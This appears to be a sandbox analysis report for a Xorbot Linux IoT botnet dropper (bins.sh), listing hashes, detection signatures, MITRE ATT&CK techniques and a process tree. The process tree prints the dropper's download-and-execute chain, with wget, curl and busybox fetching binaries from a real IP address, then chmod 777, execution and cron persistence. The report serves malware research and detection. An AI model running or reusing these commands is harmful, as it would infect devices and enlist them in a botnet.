xorbot | 09f4674d9d2939b651ef917948770c92e3466dc2a6c7c1aef1636178154cf1a4

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 08:11

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General

Target

bins.sh
Size

10KB
MD5

ef10152fac7e93f56a68778af04b375b
SHA1

4270c209c09005b135f3588743b2be59883954db
SHA256

09f4674d9d2939b651ef917948770c92e3466dc2a6c7c1aef1636178154cf1a4
SHA512

60b92d328a0130a183580bc25aa252a86534a66943b4a906f0bc3881fe8667c4270f12e7b7e9c37748512c3c620a25c4fdfbf3e4ff5aec4f606ab03772254f40
SSDEEP

192:S9jIb8YgcVAQQceCjhVH5J85tPhVh0Yg0AQQceCvu:SJIFVAQQceCH5K5bAQQceC2

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
682	chmod
775	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	683	bins.sh
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	776	bins.sh

Renames itself 1 IoCs

pid	Process
777	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jG85jE	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/23/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/27/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/107/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/164/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/274/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/309/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/600/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/602/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/788/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/795/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/603/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/784/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/790/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/20/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/42/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/273/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/306/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/324/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/806/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/14/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/17/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/18/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/24/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/148/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/316/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/798/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/4/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/783/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/794/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/800/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/21/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/110/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/140/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/647/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/786/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/9/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/76/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/277/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/2/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/11/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/43/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/785/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/5/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/15/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/16/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/25/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/28/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/109/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/653/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/804/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/7/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/41/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/782/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/796/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/12/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/13/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/98/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/582/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/650/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/802/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/137/cmdline	HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	wget
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	curl
File opened for modification	/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf	busybox
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	wget
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	curl
File opened for modification	/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod 777 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  ./6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:683
- /bin/rm
  rm 6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn
  2⤵
  PID:685
- /usr/bin/wget
  wget http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Writes file to tmp directory
  PID:686
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:689
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Writes file to tmp directory
  PID:721
- /bin/chmod
  chmod 777 HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  ./HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:776
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:778
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:779
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:780
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:781
- /bin/rm
  rm HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf
  2⤵
  PID:783
- /usr/bin/wget
  wget http://37.44.238.88/bins/hWHYBvRhtT1f8VRbCvqxcgu6yhHX0Fv0kt
  2⤵
  PID:786

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/6wZ6OUWNQPAx1SLGFAQs51pS6KlRG0JqIn

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/HujVqUBPPgjRn3PupQLT5UBbKYAPg8a1Jf

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.jG85jE

Filesize
210B

MD5
1f77f98a0c07549d4c2fb91390a8a14e

SHA1
0d59b6de51cf34c74964d8994bb92d5a44887099

SHA256
d36b11c4e997686c35bc29237d302ec60748ca99430335b1be0060100d5085a2

SHA512
c305e2756ed9e8fb672619ba66240f43103f23bc39003a98e6a77d40cc81abf4841f4947e4fe788879bc1b5ac6c010bc585ff2a11e2ccd6f09a63288d55d3fb4

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads